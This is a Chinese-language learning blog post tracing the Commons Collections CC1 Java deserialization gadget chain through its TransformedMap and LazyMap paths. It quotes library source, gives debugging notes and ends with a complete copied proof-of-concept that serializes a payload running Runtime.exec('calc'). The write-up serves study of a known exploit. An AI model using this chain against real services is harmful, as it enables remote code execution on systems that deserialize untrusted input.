关键函数
这个类在cc1当中主要的作用是获取初始的类,因为放入什么返回什么的特性很方便就可以得到想要的类。
1 2 3 4 5 6 7
| public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
|
在cc1当中主要起作用的就是这个类的如下函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; } public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
|
这个类是将我们需要的payload拼接出来的类
1 2 3 4 5 6 7 8 9 10 11
| public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class demo1{ public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(1); } }
|
目标:Runtime.getRuntime().exec(command)
根据payload和上面chainedTransformer可以看出来首先是通过传入RunTime直接获取到RunClass这个类。然后再将getMethod和参数getRunTime传入,于是就得到了
1
| RunTime.getMethod('getRunTime')
|
现在获取到的是getRunTime这个方法,但是并没有执行所以我们需要传入invoke方法并传入空参数,得到
1 2 3
| RunTime.getMethod('getRunTime').invoke(null) 即 RunTime.getRunTime()
|
最后再传入exec以及提前准备好的cmd即可得到完整的反射命令执行;
其实除了这些我比较异或的还有例如Class[0]这样的参数作用是啥
1
| 在这个代码段中,`new Class[0]` 表示一个空的 `Class` 数组。在 Java 中,这种方式通常用于表示一个空数组,它可以用作方法调用的参数列表。在这里,`new Class[0]` 作为 `getMethod` 方法的参数,表示没有额外的参数需要传递给 `getMethod` 方法。
|
触发命令执行的链子
所以要寻找一个参数调用了transformers方法,然后将这个参数赋值位chainTransformer即可。也就是这里出现了cc1的分支,这里有两种路线一种是走transformermap,还有一种则是总lazymap
走这条链的话主要涉及以下几个类
首先是可以触发transform方法的TransformedMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L; protected final Transformer keyTransformer; protected final Transformer valueTransformer; …… public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } …… protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } …… protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); } …… 省略若干方法
|
transformmap这个类中的checkSetValue方法中有对transform的调用,因此只需要将valueTransformer赋值为chainTransform这个类即可,但是由于他的构造方法是protect的,无法在不同的包下new这种方法。因此我们需要考虑反射或者其他方法,这里的话比较简单,往上面看就可以发现它的decorate方法中实例化了这个类。于是我们只需要调用即可(这个方法是静态的)
1
| Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
|
找到了可以调用transformer的方法就该寻找链子的下一个节点了,接下来的方法需要进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected AbstractInputCheckedMapDecorator() { } protected AbstractInputCheckedMapDecorator(Map map) { super(map); } …… static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } } …… }
|
可以看到这个类和它的内部类都继承了AbstractMapEntryDecorator然后再跟进可以发现这个类只是简单重写了一些基础方法并继承了Map.Entry
1 2 3 4 5 6
| public interface Map<K,V> { interface Entry<K,V> { 这里定义了set方法。 }
}
|
我现在已经得到checksetValue,那么我现在需要的是控制setvalue方法的参数,然后寻找带有readObject的方法。
目前我不知道这里的setvalue的parent的是如何得到的,所以我想到直接断个点在然后跑payload就可以得到调用栈了。期间我还发现一个功能,只要在想监控的变量上断点,那么在它变化的时候就会断在那里。
首先看到我们需要关注的地方
1 2 3 4 5 6 7 8 9 10 11 12 13
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } }
|
我们需要触发的就是这里的checkSetValue,但是不知道parent怎么来的,所以直接打个断点在这个构造函数这里。然后查看调用栈的上一层可以发现,是这里调用了MapEntry,并将parent传给了它。所以我们在这里的构造函数再下一个断点。
1 2 3 4 5 6 7 8 9 10 11 12 13
| static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Map.Entry entry = (Map.Entry)this.iterator.next(); return new MapEntry(entry, this.parent); } }
|
这里会来到 AbstractInputCheckedMapDecorator中的另一个内部类,由于方法比较多,这里就只贴一个构造方法。然后仅需往上一层堆栈走。
1 2 3 4
| protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; }
|
然后就可以跟到这个entrySet,然后上一层就是反序列化的起点了
1 2 3
| public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet()); }
|
这里可以看到Iterator var4 = this.memberValues.entrySet().iterator();
这一句,这一句首先是调用了entrySet,然后再通过它得到的返回值调用iterator。这里的iterator是迭代器,用来遍历数组的,暂时先不去了解,免得给我绕晕了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
|
这里的memberValues就是我们再构造函数中传入的TransFormerMap但是我这里还有不太懂,由于payload中的时对象到对象的映射但是这里构造函数时字符串到对象的映射,很不解这样子可以强转吗。
然后我们一步步跟进就知道了,从现在这里往上翻,首先时memberValues.entrySet然后向上,这里的entrySet是TransformedMap对象中没有的方法,所以他会去调用它父类中的,也就是AbstractInputCheckedMapDecorator中的。由于我们想要知道的只是parent是怎么来的,所以现在只关注第二个参数就好。可能是由于这个方法的是TransfromedMap,所以我这里调试显示的this是TransfromedMap。将它传入之后,就完成了parent的首次赋值。
上面所说的逻辑完成之后我们又会回到,这个反序列化函数。然后进入next函数,然后就到了EntrySetIterator,这个就是我们刚才赋值parent的那个内部类。这里的next方法会进入我们调试的起点,也就是MapEntry这个内部类,并且将已经初始化了的parent传入,所以这里的parent就锁定成了TransformedMap,而我们需要的也正是TransformedMap中的checkSetValue方法。
至此,整条Transformed链就走完了,至于最后的serValue的调用本来还有点疑惑传入的参数怎么控制,但是跟进后发现ConstantTransformer中返回的时已经构造好Runtime,并不会去理会这个传入的参数。
Lazymap
这里调用链前面是和transformedmap一样的,然后不同的点就在于这里lazymap是通过代理入使用了反序列化类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); serialize(o); unserialize("1.bin");
|
这里贴一下p神的lazymap链的后半段,这里的代理的作用简而言之就是当外部触发代理对象(这里是AnnotationInvocationHandler)方法时,会自动调用该类中的invoke方法。这里涉及到的时java中动态代理的知识,目前还只是简要的了解了这个概念,后续再深入学习一下。因为这个payload会在中途触发一次,所以我们可以先反序列化之后注释掉除了unserialize的语句然后调试。
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
建议将断点下在这里,不知道为什么idea最终也会触发底层的一下方法,从而触发代理。如果断在invoke那里就会弹多次计算机,甚至在调用栈中去查看也会弹。
但是这里调试的时候在readObject方法中代码运行的顺序实在看不懂,
然后去网上翻了一下结合payload中最后一句是将代理作为参数构造了一个AnnotationInvocationHandler对象,也就是说我跑第一遍时这里的memberValues是我设置的代理。然后我又重新去看了下动态代理,好像我能理解了,这里是只要代理执行方法,不管它代理的对象中是否有这个方法,都会去执行代理中的invoke。所以就能理解这句代码的含义了。
1
| Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
|
整个lazymap链的流程是:
首先通过反射实例化一个AnnotationInvocationHandler对象(这里初始化的对象是transform)并创建它的代理,然后再通过反射实例化一个AnnotationInvocationHandler并将他的memberValues初始化为AnnotationInvocationHandler的代理,也就是在
1
| Iterator var4 = this.memberValues.entrySet().iterator()
|
尝试调用entrySet方法时就会触发invoke方法,理论上应该是这样(但是调试堆栈似乎不太对);可能是我理解有问题,还请知道原因的大佬斧正。
触发invoke方法后就可以去调用我们目标的get方法,继而调用Lazymap触发反序列化链。
完整代码(抄的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package com.ghh.ccs; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, InvocationTargetException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } }
|